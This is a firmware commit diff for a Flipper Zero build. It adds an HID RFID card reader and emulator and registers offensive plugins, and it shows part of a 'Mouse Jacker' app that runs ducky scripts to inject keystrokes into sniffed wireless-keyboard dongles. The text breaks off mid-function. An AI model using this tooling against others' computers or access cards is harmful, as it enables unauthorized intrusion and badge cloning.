static void decode(HIDReader& hid_reader, bool polarity) {
hid_reader.decode(polarity);
}
};
void HIDReader::decode(bool polarity) {
uint32_t current_dwt_value = DWT->CYCCNT;
uint32_t period = current_dwt_value - last_dwt_value;
last_dwt_value = current_dwt_value;
decoder_hid.process_front(polarity, period);
detect_ticks++;
}
bool HIDReader::switch_timer_elapsed() {
const uint32_t seconds_to_switch = furi_kernel_get_tick_frequency() * 2.0f;
return (furi_get_tick() - switch_os_tick_last) > seconds_to_switch;
}
void HIDReader::switch_timer_reset() {
switch_os_tick_last = furi_get_tick();
}
void HIDReader::switch_mode() {
switch(type) {
case Type::Normal:
type = Type::Indala;
furi_hal_rfid_change_read_config(62500.0f, 0.25f);
break;
case Type::Indala:
type = Type::Normal;
furi_hal_rfid_change_read_config(125000.0f, 0.5f);
break;
}
switch_timer_reset();
}
static void comparator_trigger_callback(bool level, void* comp_ctx) {
HIDReader* _this = static_cast<HIDReader*>(comp_ctx);
HIDReaderAccessor::decode(*_this, !level);
}
HIDReader::HIDReader() {
}
void HIDReader::start() {
type = Type::Normal;
furi_hal_rfid_pins_read();
furi_hal_rfid_tim_read(125000, 0.5);
furi_hal_rfid_tim_read_start();
start_comparator();
switch_timer_reset();
last_read_count = 0;
}
void HIDReader::start_forced(HIDReader::Type _type) {
start();
if(_type == Type::Indala) {
switch_mode();
}
}
void HIDReader::stop() {
furi_hal_rfid_pins_reset();
furi_hal_rfid_tim_read_stop();
furi_hal_rfid_tim_reset();
stop_comparator();
}
bool HIDReader::read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable) {
bool result = false;
bool something_read = false;
if(decoder_hid.read(data, data_size)) {
*_type = LfrfidKeyType::KeyH10301; // should be an OK temp
something_read = true;
}
// validation
if(something_read) {
switch_timer_reset();
if(last_read_type == *_type && memcmp(last_read_data, data, data_size) == 0) {
last_read_count = last_read_count + 1;
if(last_read_count > 2) {
result = true;
}
} else {
last_read_type = *_type;
memcpy(last_read_data, data, data_size);
last_read_count = 0;
}
}
// mode switching
if(switch_enable && switch_timer_elapsed()) {
switch_mode();
last_read_count = 0;
}
return result;
}
bool HIDReader::detect() {
bool detected = false;
if(detect_ticks > 10) {
detected = true;
}
detect_ticks = 0;
return detected;
}
bool HIDReader::any_read() {
return last_read_count > 0;
}
void HIDReader::start_comparator(void) {
furi_hal_rfid_comp_set_callback(comparator_trigger_callback, this);
last_dwt_value = DWT->CYCCNT;
furi_hal_rfid_comp_start();
}
void HIDReader::stop_comparator(void) {
furi_hal_rfid_comp_stop();
furi_hal_rfid_comp_set_callback(NULL, NULL);
}

View file

@ -0,0 +1,47 @@
#pragma once
#include "decoder_hid.h"
#include "key_info.h"
//#define RFID_GPIO_DEBUG 1
class HIDReader {
public:
enum class Type : uint8_t {
Normal,
Indala,
};
HIDReader();
void start();
void start_forced(HIDReader::Type type);
void stop();
bool read(LfrfidKeyType* _type, uint8_t* data, uint8_t data_size, bool switch_enable = true);
bool detect();
bool any_read();
private:
friend struct HIDReaderAccessor;
DecoderHID decoder_hid;
uint32_t last_dwt_value;
void start_comparator(void);
void stop_comparator(void);
void decode(bool polarity);
uint32_t detect_ticks;
uint32_t switch_os_tick_last;
bool switch_timer_elapsed();
void switch_timer_reset();
void switch_mode();
LfrfidKeyType last_read_type;
uint8_t last_read_data[LFRFID_KEY_SIZE];
uint8_t last_read_count;
Type type = Type::Normal;
};

View file

@ -0,0 +1,38 @@
#include "hid_worker.h"
HIDWorker::HIDWorker() {
}
HIDWorker::~HIDWorker() {
}
void HIDWorker::start_read() {
reader.start();
}
bool HIDWorker::read() {
static const uint8_t data_size = LFRFID_KEY_SIZE;
uint8_t data[data_size] = {0};
LfrfidKeyType type;
bool result = reader.read(&type, data, data_size);
if(result) {
key.set_type(type);
key.set_data(data, data_size);
};
return result;
}
bool HIDWorker::detect() {
return reader.detect();
}
bool HIDWorker::any_read() {
return reader.any_read();
}
void HIDWorker::stop_read() {
reader.stop();
}

View file

@ -0,0 +1,21 @@
#pragma once
#include "key_info.h"
#include "rfid_key.h"
#include "hid_reader.h"
class HIDWorker {
public:
HIDWorker();
~HIDWorker();
void start_read();
bool read();
bool detect();
bool any_read();
void stop_read();
RfidKey key;
private:
HIDReader reader;
};

View file

@ -0,0 +1,16 @@
#pragma once
#include <stdint.h>
static const uint8_t LFRFID_KEY_SIZE = 8;
static const uint8_t LFRFID_KEY_NAME_SIZE = 22;
enum class LfrfidKeyType : uint8_t {
KeyEM4100,
KeyH10301,
KeyI40134,
};
const char* lfrfid_key_get_type_string(LfrfidKeyType type);
const char* lfrfid_key_get_manufacturer_string(LfrfidKeyType type);
bool lfrfid_key_get_string_type(const char* string, LfrfidKeyType* type);
uint8_t lfrfid_key_get_type_data_count(LfrfidKeyType type);

View file

@ -0,0 +1,30 @@
#pragma once
#include <stdint.h>
/**
* This code tries to fit the periods into a given number of cycles (phases) by taking cycles from the next cycle of periods.
*/
class OscFSK {
public:
/**
* Get next period
* @param bit bit value
* @param period return period
* @return bool whether to advance to the next bit
*/
bool next(bool bit, uint16_t* period);
/**
* FSK ocillator constructor
*
* @param freq_low bit 0 freq
* @param freq_hi bit 1 freq
* @param osc_phase_max max oscillator phase
*/
OscFSK(uint16_t freq_low, uint16_t freq_hi, uint16_t osc_phase_max);
private:
const uint16_t freq[2];
const uint16_t osc_phase_max;
int32_t osc_phase_current;
};

View file

@ -0,0 +1,60 @@
#pragma once
#include "stdint.h"
#include "stdbool.h"
class ProtocolGeneric {
public:
/**
* @brief Get the encoded data size
*
* @return uint8_t size of encoded data in bytes
*/
virtual uint8_t get_encoded_data_size() = 0;
/**
* @brief Get the decoded data size
*
* @return uint8_t size of decoded data in bytes
*/
virtual uint8_t get_decoded_data_size() = 0;
/**
* @brief encode decoded data
*
* @param decoded_data
* @param decoded_data_size
* @param encoded_data
* @param encoded_data_size
*/
virtual void encode(
const uint8_t* decoded_data,
const uint8_t decoded_data_size,
uint8_t* encoded_data,
const uint8_t encoded_data_size) = 0;
/**
* @brief decode encoded data
*
* @param encoded_data
* @param encoded_data_size
* @param decoded_data
* @param decoded_data_size
*/
virtual void decode(
const uint8_t* encoded_data,
const uint8_t encoded_data_size,
uint8_t* decoded_data,
const uint8_t decoded_data_size) = 0;
/**
* @brief fast check that data can be correctly decoded
*
* @param encoded_data
* @param encoded_data_size
* @return true - can be correctly decoded
* @return false - cannot be correctly decoded
*/
virtual bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) = 0;
virtual ~ProtocolGeneric(){};
};

View file

@ -0,0 +1,155 @@
#include "protocol_hid.h"
#include <furi.h>
typedef uint32_t HIDCardData;
constexpr uint8_t HIDCount = 3;
constexpr uint8_t HIDBitSize = sizeof(HIDCardData) * 8;
uint8_t ProtocolHID::get_encoded_data_size() {
return sizeof(HIDCardData) * HIDCount;
}
uint8_t ProtocolHID::get_decoded_data_size() {
return 3;
}
void ProtocolHID::encode(
const uint8_t* decoded_data,
const uint8_t decoded_data_size,
uint8_t* encoded_data,
const uint8_t encoded_data_size) {
UNUSED(decoded_data);
UNUSED(decoded_data_size);
UNUSED(encoded_data);
UNUSED(encoded_data_size);
// bob!
}
void ProtocolHID::decode(
const uint8_t* encoded_data,
const uint8_t encoded_data_size,
uint8_t* decoded_data,
const uint8_t decoded_data_size) {
furi_check(decoded_data_size >= get_decoded_data_size());
furi_check(encoded_data_size >= get_encoded_data_size());
// header check
int16_t second1pos = find_second_1(encoded_data);
if((*(encoded_data + 1) & 0b1100) != 0x08) {
*decoded_data = 37;
} else {
*decoded_data = (36 - (second1pos - 8));
}
}
int16_t ProtocolHID::find_second_1(const uint8_t* encoded_data) {
if((*(encoded_data + 1) & 0b11) == 0b10) {
return 8;
} else {
for(int8_t i = 3; i >= 0; i--) {
if(((*(encoded_data + 0) >> (2 * i)) & 0b11) == 0b10) {
return (12 - i);
}
}
for(int8_t i = 3; i >= 0; i--) {
if(((*(encoded_data + 7) >> (2 * i)) & 0b11) == 0b10) {
return (16 - i);
}
}
for(int8_t i = 3; i >= 2; i--) {
if(((*(encoded_data + 6) >> (2 * i)) & 0b11) == 0b10) {
return (20 - i);
}
}
}
return -1;
}
bool ProtocolHID::can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) {
furi_check(encoded_data_size >= get_encoded_data_size());
const HIDCardData* card_data = reinterpret_cast<const HIDCardData*>(encoded_data);
// header check
int16_t second1pos = -1;
// packet pre-preamble
if(*(encoded_data + 3) != 0x1D) {
return false;
}
// packet preamble
if(*(encoded_data + 2) != 0x55) { // first four 0s mandatory in preamble
return false;
}
if((*(encoded_data + 1) & 0xF0) != 0x50) { // next two 0s mandatory in preamble
return false;
}
if((*(encoded_data + 1) & 0b1100) != 0x08) { // if it's not a 1...
// either it's a 37-bit or invalid
// so just continue with the manchester encoding checks
} else { // it is a 1. so it could be anywhere between 26 and 36 bit encoding. or invalid.
// we need to find the location of the second 1
second1pos = find_second_1(encoded_data);
}
if(second1pos == -1) {
// we're 37 bit or invalid
}
// data decoding. ensure all is properly manchester encoded
uint32_t result = 0;
// decode from word 0
// coded with 01 = 0, 10 = 1 transitions
for(int8_t i = 11; i >= 0; i--) {
switch((*(card_data + 0) >> (2 * i)) & 0b11) {
case 0b01:
result = (result << 1) | 0;
break;
case 0b10:
result = (result << 1) | 1;
break;
default:
return false;
break;
}
}
// decode from word 1
// coded with 01 = 0, 10 = 1 transitions
for(int8_t i = 15; i >= 0; i--) {
switch((*(card_data + 1) >> (2 * i)) & 0b11) {
case 0b01:
result = (result << 1) | 0;
break;
case 0b10:
result = (result << 1) | 1;
break;
default:
return false;
break;
}
}
// decode from word 2
// coded with 01 = 0, 10 = 1 transitions
for(int8_t i = 15; i >= 0; i--) {
switch((*(card_data + 2) >> (2 * i)) & 0b11) {
case 0b01:
result = (result << 1) | 0;
break;
case 0b10:
result = (result << 1) | 1;
break;
default:
return false;
break;
}
}
return true;
}

View file

@ -0,0 +1,25 @@
#pragma once
#include "protocol_generic.h"
class ProtocolHID : public ProtocolGeneric {
public:
uint8_t get_encoded_data_size() final;
uint8_t get_decoded_data_size() final;
void encode(
const uint8_t* decoded_data,
const uint8_t decoded_data_size,
uint8_t* encoded_data,
const uint8_t encoded_data_size) final;
void decode(
const uint8_t* encoded_data,
const uint8_t encoded_data_size,
uint8_t* decoded_data,
const uint8_t decoded_data_size) final;
bool can_be_decoded(const uint8_t* encoded_data, const uint8_t encoded_data_size) final;
private:
int16_t find_second_1(const uint8_t* encoded_data);
};

View file

@ -0,0 +1,36 @@
#pragma once
#include "stdint.h"
class PulseJoiner {
public:
/**
* @brief Push timer pulse. First negative pulse is ommited.
*
* @param polarity pulse polarity: true = high2low, false = low2high
* @param period overall period time in timer clicks
* @param pulse pulse time in timer clicks
*
* @return true - next pulse can and must be popped immediatly
*/
bool push_pulse(bool polarity, uint16_t period, uint16_t pulse);
/**
* @brief Get the next timer pulse. Call only if push_pulse returns true.
*
* @param period overall period time in timer clicks
* @param pulse pulse time in timer clicks
*/
void pop_pulse(uint16_t* period, uint16_t* pulse);
PulseJoiner();
private:
struct Pulse {
bool polarity;
uint16_t time;
};
uint8_t pulse_index = 0;
static const uint8_t pulse_max = 6;
Pulse pulses[pulse_max];
};

View file

@ -0,0 +1,27 @@
#pragma once
#include "key_info.h"
#include <array>
class RfidKey {
public:
RfidKey();
~RfidKey();
void set_type(LfrfidKeyType type);
void set_data(const uint8_t* data, const uint8_t data_size);
void set_name(const char* name);
LfrfidKeyType get_type();
const uint8_t* get_data();
const char* get_type_text();
uint8_t get_type_data_count() const;
char* get_name();
uint8_t get_name_length();
void clear();
RfidKey& operator=(const RfidKey& rhs);
private:
std::array<uint8_t, LFRFID_KEY_SIZE> data;
LfrfidKeyType type;
char name[LFRFID_KEY_NAME_SIZE + 1];
};

View file

@ -0,0 +1,29 @@
#pragma once
#include <furi_hal.h>
#include "key_info.h"
#include "encoder_generic.h"
#include "encoder_emmarin.h"
#include "encoder_hid_h10301.h"
#include "encoder_indala_40134.h"
#include "pulse_joiner.h"
#include <map>
class RfidTimerEmulator {
public:
RfidTimerEmulator();
~RfidTimerEmulator();
void start(LfrfidKeyType type, const uint8_t* data, uint8_t data_size);
void stop();
private:
EncoderGeneric* current_encoder = nullptr;
std::map<LfrfidKeyType, EncoderGeneric*> encoders = {
{LfrfidKeyType::KeyEM4100, new EncoderEM()},
{LfrfidKeyType::KeyH10301, new EncoderHID_H10301()},
{LfrfidKeyType::KeyI40134, new EncoderIndala_40134()},
};
PulseJoiner pulse_joiner;
static void timer_update_callback(void* ctx);
};

View file

@ -0,0 +1,20 @@
#pragma once
#include "stdint.h"
class RfidWriter {
public:
RfidWriter();
~RfidWriter();
void start();
void stop();
void write_em(const uint8_t em_data[5]);
void write_hid(const uint8_t hid_data[3]);
void write_indala(const uint8_t indala_data[3]);
private:
void write_gap(uint32_t gap_time);
void write_bit(bool value);
void write_byte(uint8_t value);
void write_block(uint8_t page, uint8_t block, bool lock_bit, uint32_t data);
void write_reset();
};

View file

@ -0,0 +1,25 @@
#pragma once
#include "stdint.h"
#include <list>
#include <functional>
class TickSequencer {
public:
TickSequencer();
~TickSequencer();
void tick();
void reset();
void clear();
void do_every_tick(uint32_t tick_count, std::function<void(void)> fn);
void do_after_tick(uint32_t tick_count, std::function<void(void)> fn);
private:
std::list<std::pair<uint32_t, std::function<void(void)> > > list;
std::list<std::pair<uint32_t, std::function<void(void)> > >::iterator list_it;
uint32_t tick_count;
void do_nothing();
};

View file

@ -0,0 +1,22 @@
#include "hid_analyzer_app.h"
#include "scene/hid_analyzer_app_scene_read.h"
#include "scene/hid_analyzer_app_scene_read_success.h"
HIDApp::HIDApp()
: scene_controller{this}
, notification{"notification"}
, storage{"storage"}
, dialogs{"dialogs"}
, text_store(40) {
}
HIDApp::~HIDApp() {
}
void HIDApp::run(void* _args) {
UNUSED(_args);
scene_controller.add_scene(SceneType::Read, new HIDAppSceneRead());
scene_controller.add_scene(SceneType::ReadSuccess, new HIDAppSceneReadSuccess());
scene_controller.process(100, SceneType::Read);
}

View file

@ -0,0 +1,65 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <generic_scene.hpp>
#include <scene_controller.hpp>
#include <view_controller.hpp>
#include <record_controller.hpp>
#include <text_store.h>
#include <view_modules/submenu_vm.h>
#include <view_modules/popup_vm.h>
#include <view_modules/dialog_ex_vm.h>
#include <view_modules/text_input_vm.h>
#include <view_modules/byte_input_vm.h>
#include "view/container_vm.h"
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <dialogs/dialogs.h>
#include "helpers/hid_worker.h"
class HIDApp {
public:
enum class EventType : uint8_t {
GENERIC_EVENT_ENUM_VALUES,
Next,
MenuSelected,
Stay,
Retry,
};
enum class SceneType : uint8_t {
GENERIC_SCENE_ENUM_VALUES,
Read,
ReadSuccess,
};
class Event {
public:
union {
int32_t menu_index;
} payload;
EventType type;
};
HIDApp();
~HIDApp();
void run(void* args);
// private:
SceneController<GenericScene<HIDApp>, HIDApp> scene_controller;
ViewController<HIDApp, SubmenuVM, PopupVM, DialogExVM, TextInputVM, ByteInputVM, ContainerVM>
view_controller;
RecordController<NotificationApp> notification;
RecordController<Storage> storage;
RecordController<DialogsApp> dialogs;
TextStore text_store;
HIDWorker worker;
};

View file

@ -0,0 +1,10 @@
#include "hid_analyzer_app.h"
// app enter function
extern "C" int32_t hid_analyzer_app(void* args) {
HIDApp* app = new HIDApp();
app->run(args);
delete app;
return 0;
}

View file

@ -0,0 +1,40 @@
#include "hid_analyzer_app_scene_read.h"
#include <dolphin/dolphin.h>
void HIDAppSceneRead::on_enter(HIDApp* app, bool /* need_restore */) {
auto popup = app->view_controller.get<PopupVM>();
DOLPHIN_DEED(DolphinDeedRfidRead);
popup->set_header("Searching for\nLF HID RFID", 89, 34, AlignCenter, AlignTop);
popup->set_icon(0, 3, &I_RFIDDolphinReceive_97x61);
app->view_controller.switch_to<PopupVM>();
app->worker.start_read();
}
bool HIDAppSceneRead::on_event(HIDApp* app, HIDApp::Event* event) {
bool consumed = false;
if(event->type == HIDApp::EventType::Tick) {
if(app->worker.read()) {
DOLPHIN_DEED(DolphinDeedRfidReadSuccess);
notification_message(app->notification, &sequence_success);
app->scene_controller.switch_to_next_scene(HIDApp::SceneType::ReadSuccess);
} else {
if(app->worker.any_read()) {
notification_message(app->notification, &sequence_blink_green_10);
} else if(app->worker.detect()) {
notification_message(app->notification, &sequence_blink_cyan_10);
} else {
notification_message(app->notification, &sequence_blink_cyan_10);
}
}
}
return consumed;
}
void HIDAppSceneRead::on_exit(HIDApp* app) {
app->view_controller.get<PopupVM>()->clean();
app->worker.stop_read();
}

View file

@ -0,0 +1,9 @@
#pragma once
#include "../hid_analyzer_app.h"
class HIDAppSceneRead : public GenericScene<HIDApp> {
public:
void on_enter(HIDApp* app, bool need_restore) final;
bool on_event(HIDApp* app, HIDApp::Event* event) final;
void on_exit(HIDApp* app) final;
};

View file

@ -0,0 +1,78 @@
#include "hid_analyzer_app_scene_read_success.h"
#include "../view/elements/button_element.h"
#include "../view/elements/icon_element.h"
#include "../view/elements/string_element.h"
void HIDAppSceneReadSuccess::on_enter(HIDApp* app, bool /* need_restore */) {
string_init(string[0]);
string_init(string[1]);
string_init(string[2]);
auto container = app->view_controller.get<ContainerVM>();
auto button = container->add<ButtonElement>();
button->set_type(ButtonElement::Type::Left, "Retry");
button->set_callback(app, HIDAppSceneReadSuccess::back_callback);
auto icon = container->add<IconElement>();
icon->set_icon(3, 12, &I_RFIDBigChip_37x36);
auto header = container->add<StringElement>();
header->set_text("HID", 89, 3, 0, AlignCenter);
// auto line_1_text = container->add<StringElement>();
auto line_2_text = container->add<StringElement>();
// auto line_3_text = container->add<StringElement>();
// auto line_1_value = container->add<StringElement>();
auto line_2_value = container->add<StringElement>();
// auto line_3_value = container->add<StringElement>();
const uint8_t* data = app->worker.key.get_data();
// line_1_text->set_text("Hi:", 65, 23, 0, AlignRight, AlignBottom, FontSecondary);
line_2_text->set_text("Bit:", 65, 35, 0, AlignRight, AlignBottom, FontSecondary);
// line_3_text->set_text("Bye:", 65, 47, 0, AlignRight, AlignBottom, FontSecondary);
string_printf(string[1], "%u", data[0]);
// line_1_value->set_text(
// string_get_cstr(string[0]), 68, 23, 0, AlignLeft, AlignBottom, FontSecondary);
line_2_value->set_text(
string_get_cstr(string[1]), 68, 35, 0, AlignLeft, AlignBottom, FontSecondary);
// line_3_value->set_text(
// string_get_cstr(string[2]), 68, 47, 0, AlignLeft, AlignBottom, FontSecondary);
app->view_controller.switch_to<ContainerVM>();
notification_message_block(app->notification, &sequence_set_green_255);
}
bool HIDAppSceneReadSuccess::on_event(HIDApp* app, HIDApp::Event* event) {
bool consumed = false;
if(event->type == HIDApp::EventType::Retry) {
app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read});
consumed = true;
} else if(event->type == HIDApp::EventType::Back) {
app->scene_controller.search_and_switch_to_previous_scene({HIDApp::SceneType::Read});
consumed = true;
}
return consumed;
}
void HIDAppSceneReadSuccess::on_exit(HIDApp* app) {
notification_message_block(app->notification, &sequence_reset_green);
app->view_controller.get<ContainerVM>()->clean();
string_clear(string[0]);
string_clear(string[1]);
string_clear(string[2]);
}
void HIDAppSceneReadSuccess::back_callback(void* context) {
HIDApp* app = static_cast<HIDApp*>(context);
HIDApp::Event event;
event.type = HIDApp::EventType::Retry;
app->view_controller.send_event(&event);
}

View file

@ -0,0 +1,14 @@
#pragma once
#include "../hid_analyzer_app.h"
class HIDAppSceneReadSuccess : public GenericScene<HIDApp> {
public:
void on_enter(HIDApp* app, bool need_restore) final;
bool on_event(HIDApp* app, HIDApp::Event* event) final;
void on_exit(HIDApp* app) final;
private:
static void back_callback(void* context);
string_t string[3];
};

View file

@ -0,0 +1,17 @@
#pragma once
#include <view_modules/generic_view_module.h>
class ContainerVM : public GenericViewModule {
public:
ContainerVM();
~ContainerVM() final;
View* get_view() final;
void clean() final;
template <typename T> T* add();
private:
View* view;
static void view_draw_callback(Canvas* canvas, void* model);
static bool view_input_callback(InputEvent* event, void* context);
};

View file

@ -0,0 +1,28 @@
#pragma once
#include "generic_element.h"
typedef void (*ButtonElementCallback)(void* context);
class ButtonElement : public GenericElement {
public:
ButtonElement();
~ButtonElement() final;
void draw(Canvas* canvas) final;
bool input(InputEvent* event) final;
enum class Type : uint8_t {
Left,
Center,
Right,
};
void set_type(Type type, const char* text);
void set_callback(void* context, ButtonElementCallback callback);
private:
Type type = Type::Left;
const char* text = nullptr;
void* context = nullptr;
ButtonElementCallback callback = nullptr;
};

View file

@ -0,0 +1,21 @@
#pragma once
#include <gui/gui.h>
#include <gui/view.h>
class GenericElement {
public:
GenericElement(){};
virtual ~GenericElement(){};
virtual void draw(Canvas* canvas) = 0;
virtual bool input(InputEvent* event) = 0;
// TODO that must be accessible only to ContainerVMData
void set_parent_view(View* view);
// TODO that must be accessible only to inheritors
void lock_model();
void unlock_model(bool need_redraw);
private:
View* view = nullptr;
};

View file

@ -0,0 +1,17 @@
#pragma once
#include "generic_element.h"
class IconElement : public GenericElement {
public:
IconElement();
~IconElement() final;
void draw(Canvas* canvas) final;
bool input(InputEvent* event) final;
void set_icon(uint8_t x = 0, uint8_t y = 0, const Icon* icon = NULL);
private:
const Icon* icon = NULL;
uint8_t x = 0;
uint8_t y = 0;
};

View file

@ -0,0 +1,28 @@
#pragma once
#include "generic_element.h"
class StringElement : public GenericElement {
public:
StringElement();
~StringElement() final;
void draw(Canvas* canvas) final;
bool input(InputEvent* event) final;
void set_text(
const char* text = NULL,
uint8_t x = 0,
uint8_t y = 0,
uint8_t fit_width = 0,
Align horizontal = AlignLeft,
Align vertical = AlignTop,
Font font = FontPrimary);
private:
const char* text = NULL;
uint8_t x = 0;
uint8_t y = 0;
uint8_t fit_width = 0;
Align horizontal = AlignLeft;
Align vertical = AlignTop;
Font font = FontPrimary;
};

View file

@ -37,6 +37,12 @@ App(
"music_player",
"bt_hid",
"picopass",
"hid_analyzer",
"barcode_generator",
"mouse_jacker",
"nrf_sniff",
"sentry_safe",
"wifi_marauder",
],
)

View file

@ -0,0 +1,13 @@
App(
appid="mouse_jacker",
name="[HW] NRF24: Mouse Jacker",
apptype=FlipperAppType.PLUGIN,
entry_point="mousejacker_app",
cdefines=["APP_MOUSEJACKER"],
requires=[
"gui",
"dialogs",
],
stack_size=2 * 1024,
order=60,
)

View file

@ -0,0 +1,352 @@
#include <furi.h>
#include <gui/gui.h>
#include <dialogs/dialogs.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal.h>
#include <furi_hal_gpio.h>
#include <furi_hal_spi.h>
#include <furi_hal_interrupt.h>
#include <furi_hal_resources.h>
#include <nrf24.h>
#include <toolbox/stream/file_stream.h>
#include "mousejacker_ducky.h"
#define TAG "mousejacker"
#define LOGITECH_MAX_CHANNEL 85
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
#define NRFSNIFF_APP_PATH_EXTENSION ".txt"
#define NRFSNIFF_APP_FILENAME "addresses.txt"
#define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
#define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
#define MAX_ADDRS 100
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
int x;
int y;
bool ducky_err;
bool addr_err;
bool ducky_running;
} PluginState;
uint8_t addrs_count = 0;
uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
char target_fmt_text[] = "Target addr: %s";
char target_address_str[12] = "None";
char target_text[30];
static void render_callback(Canvas* const canvas, void* ctx) {
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
// border around the edge of the screen
canvas_draw_frame(canvas, 0, 0, 128, 64);
canvas_set_font(canvas, FontSecondary);
if(!plugin_state->addr_err && !plugin_state->ducky_err && !plugin_state->ducky_running) {
sprintf(target_text, target_fmt_text, target_address_str);
canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
} else if(plugin_state->addr_err) {
canvas_draw_str_aligned(
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
canvas_draw_str_aligned(
canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
canvas_draw_str_aligned(
canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
} else if(plugin_state->ducky_err) {
canvas_draw_str_aligned(
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or duckyscript file");
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "loading error");
} else if(plugin_state->ducky_running) {
sprintf(target_text, target_fmt_text, target_address_str);
canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Running duckyscript...");
}
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void mousejacker_state_init(PluginState* const plugin_state) {
plugin_state->x = 50;
plugin_state->y = 30;
}
static void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]);
}
static bool open_ducky_script(Stream* stream) {
DialogsApp* dialogs = furi_record_open("dialogs");
bool result = false;
string_t path;
string_init(path);
string_set_str(path, MOUSEJACKER_APP_PATH_FOLDER);
bool ret = dialog_file_browser_show(
dialogs, path, path, MOUSEJACKER_APP_PATH_EXTENSION, true, &I_badusb_10px, false);
furi_record_close("dialogs");
if(ret) {
if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path));
} else {
result = true;
}
}
string_clear(path);
return result;
}
static bool open_addrs_file(Stream* stream) {
DialogsApp* dialogs = furi_record_open("dialogs");
bool result = false;
string_t path;
string_init(path);
string_set_str(path, NRFSNIFF_APP_PATH_FOLDER);
bool ret = dialog_file_browser_show(
dialogs, path, path, NRFSNIFF_APP_PATH_EXTENSION, true, &I_sub1_10px, false);
furi_record_close("dialogs");
if(ret) {
if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path));
} else {
result = true;
}
}
string_clear(path);
return result;
}
static bool process_ducky_file(
ViewPort* view_port,
PluginState* plugin_state,
Stream* file_stream,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate) {
size_t file_size = 0;
size_t bytes_read = 0;
uint8_t* file_buf;
bool loaded = false;
FURI_LOG_I(TAG, "opening ducky script");
if(open_ducky_script(file_stream)) {
file_size = stream_size(file_stream);
if(file_size == (size_t)0) {
FURI_LOG_I(TAG, "load failed. file_size: %d", file_size);
return loaded;
}
file_buf = malloc(file_size);
memset(file_buf, 0, file_size);
bytes_read = stream_read(file_stream, file_buf, file_size);
if(bytes_read == file_size) {
plugin_state->ducky_running = true;
view_port_update(view_port);
FURI_LOG_I(TAG, "executing ducky script");
mj_process_ducky_script(nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf);
FURI_LOG_I(TAG, "finished execution");
furi_delay_ms(300);
plugin_state->ducky_running = false;
loaded = true;
} else {
FURI_LOG_I(TAG, "load failed. file size: %d", file_size);
}
free(file_buf);
}
return loaded;
}
static bool load_addrs_file(Stream* file_stream) {
size_t file_size = 0;
size_t bytes_read = 0;
uint8_t* file_buf;
char* line_ptr;
uint8_t rate;
uint8_t addrlen = 0;
uint32_t counter = 0;
uint8_t addr[5] = {0};
uint32_t i_addr_lo = 0;
uint32_t i_addr_hi = 0;
bool loaded = false;
FURI_LOG_I(TAG, "opening addrs file");
addrs_count = 0;
if(open_addrs_file(file_stream)) {
file_size = stream_size(file_stream);
if(file_size == (size_t)0) {
FURI_LOG_I(TAG, "load failed. file_size: %d", file_size);
return loaded;
}
file_buf = malloc(file_size);
memset(file_buf, 0, file_size);
bytes_read = stream_read(file_stream, file_buf, file_size);
if(bytes_read == file_size) {
FURI_LOG_I(TAG, "loading addrs file");
char* line = strtok((char*)file_buf, "\n");
while(line != NULL) {
line_ptr = strstr((char*)line, ",");
*line_ptr = 0;
rate = atoi(line_ptr + 1);
addrlen = (uint8_t)(strlen(line) / 2);
i_addr_lo = strtoul(line + 2, NULL, 16);
line[2] = (char)0;
i_addr_hi = strtoul(line, NULL, 16);
int32_to_bytes(i_addr_lo, &addr[1], true);
addr[0] = (uint8_t)(i_addr_hi & 0xFF);
memset(loaded_addrs[counter], rate, 1);
memcpy(&loaded_addrs[counter++][1], addr, addrlen);
addrs_count++;
line = strtok(NULL, "\n");
loaded = true;
}
} else {
FURI_LOG_I(TAG, "load failed. file size: %d", file_size);
}
free(file_buf);
}
return loaded;
}
int32_t mousejacker_app(void* p) {
UNUSED(p);
uint8_t addr_idx = 0;
bool ducky_ok = false;
